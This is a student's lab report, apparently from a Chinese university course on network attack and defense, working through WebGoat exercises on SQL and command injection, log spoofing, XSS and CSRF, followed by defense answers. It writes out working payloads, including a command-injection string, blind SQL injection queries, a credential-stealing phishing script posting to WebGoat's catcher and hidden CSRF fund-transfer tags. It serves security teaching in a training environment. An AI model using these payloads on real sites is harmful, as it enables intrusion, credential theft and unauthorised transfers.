2019-2020-2 20175303柴轩达《网络对抗技术》Exp9 Web安全基础
作者:互联网
2019-2020-2 20175303柴轩达《网络对抗技术》Exp9 Web安全基础
目录
基础知识
- SQL注入
- 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
- 就是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
- XSS攻击
- 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
- XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
- CSRF攻击
- Cross Site Request Forgery跨站请求伪造
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证。只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
- 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。
实验过程
安装WebGoat与JDK配置
下载webgoat-container-7.0.1-war-exec.jar
使用java -jar webgoat-container-7.0.1-war-exec.jar
命令开启WebGoat
开启后界面应如下所示
打开浏览器,输入localhost:8080/WebGoat
,通过默认用户名密码登录
登陆后的界面左侧功能栏只有Admin Functions一项
通过配置JDK加载其他功能项,终端输入java -version
和javac -version
出现以下界面说明配置成功
配置JDK后重复以上步骤,打开浏览器登录后功能栏如下
注入攻击:Injection Flaws
- 命令注入:Command Injection
Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施下一步渗透攻击。
- 原理:在正常的参数提交过程中,添加恶意的代码,能够达到攻击的目的。
- 目标:能够在目标主机上执行任何系统命令
左侧功能栏选中Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改
在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
点击view,查看执行指令后的网络端口使用情况和IP地址
- 数字型注入:Numeric SQL Injection
- 原理:通过选择不同地点,可以选择查看相应城市的信息。每选择一个城市,就会把该城市对应的station字段填入SELECT * FROM weather_data WHERE station = ?这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上。
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改
- 原理:通过选择不同地点,可以选择查看相应城市的信息。每选择一个城市,就会把该城市对应的station字段填入SELECT * FROM weather_data WHERE station = ?这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上。
在选中的城市编号Value值中添加or 1=1
点击Go!
显示所有天气数据
-
日志欺骗:Log Spoofing
- 日志欺骗就是通过添加假的日志文件以实现登录
左侧功能栏选中Injection Flaws—>Log Spoofing
,在User Name输入5303%0d%0aLogin Succeeded for username: admin
,%0d
表示空格,%0a
表示换行;接下来点击登录会显示两行信息,第二行显示admin登陆成功,证明登陆成功
- 日志欺骗就是通过添加假的日志文件以实现登录
-
字符串注入:String SQL Injection
- 原理:基于以下查询语句构造自己的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'
- 目的:尝试通过 SQL 注入将所有信用卡信息显示出来。
左侧功能栏选中Injection Flaws—>String SQL Injection
,输入smith' or 1=1 --
将所有信用卡信息显示出来:
-
数字型盲注入:Blind Numeric SQL Injection
- 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
- 目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中cc_number字段值为 1111222233334444 的记录中pin字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
输入查询语句101 AND 1=1 ,发现页面返回帐号有效
输入查询语句101 AND 1=2,发现页面返回帐号无效
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
,提示Invalid account number
表示PIN<5000,使用二分法不断缩小范围
最终得出pin的值为2364,即语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
返回有效
- 字符串型盲注入:Blind String SQL Injection
- 原理:与Blind Numeric SQL Injection原理类似,pin字段类型为varchar
查询语句类似上一节:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
,显示Invalid account number表示其PIN字段首字母≥H
- 原理:与Blind Numeric SQL Injection原理类似,pin字段类型为varchar
经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。
同理继续判断第二个字符。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
依次判断其他字符,最后得出PIN字段的值为Jill
XSS攻击
- XSS 钓鱼:Phishing with XSS
- 原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容,但被攻击方很难发现该内容是否存在威胁。
- 目标: 创建一个form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search框中
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。
- 存储型XSS攻击:Stored XSS Attacks
- 原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 目标: 写入非法的留言消息,可以导致其他用户访问时载入非预期的页面或内容
在title中输入任意字符,留言板中输入<script>alert("Stored XSS Attacks,I am 20175303cxd.");</script>
,点击生成的message,出现提示。
点击提交后攻击成功
- 反射型XSS攻击:Reflected XSS Attacks
- 原理: 在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
- 目标: 使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
在Enter your three digit access code框中输入<script>alert("Reflacted XSS Attacks,I'm 20175303cxd");</script>
点击提交后攻击成功
CSRF攻击
- 跨站请求伪造:Cross Site Request Forgery (CSRF)
- 原理: 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
- 目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
查看页面右侧Parameters中的src和menu值,分别为327和900
在title中随便输入,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=327&menu=900&transferFunds=1888" width="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
-
src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
-
宽高设置成1像素的目的是隐藏该图片
提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的1888元,从而达到CSRF攻击的目的。
-
绕过 CSRF 确认:CSRF Prompt By‐Pass
- 原理: 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 目标: 与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
同上一个攻击,查看页面下侧Parameters中的src和menu值(323和900)
在title框中随便输入,message框中输入代码:
<iframe src="attack?Screen=323&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
点击Message List中生成以Title命名的链接,攻击成功!
问题回答
1.SQL注入攻击原理,如何防
- 原理:
- SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
- 通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
- 其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。
- 防御:
- 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
- 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。
2.XSS攻击的原理,如何防御
- 原理:
- 攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
3.CSRF攻击原理,如何防御
- 原理:
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
- 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
- 防御:
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
实验中遇到的问题
SQL注入攻击中的命令注入,明明想要看到的信息已经有了,但并没有显示攻击成功
我看其他几个同学的实验也是这样做的,又试了几次还是没显示成功。
实验体会
本次实验不算太难,每项攻击都是有固定的方法,攻击语句原理老师讲的也比较清楚。做实验之前已经看过其他同学遇到过的问题,实践过程中这些问题已经有具体的解决方案了,所以整个实验比较顺利。
标签:Web,Exp9,20175303,XSS,攻击,用户,网站,SQL,输入 来源: https://www.cnblogs.com/cxd20175303/p/12982422.html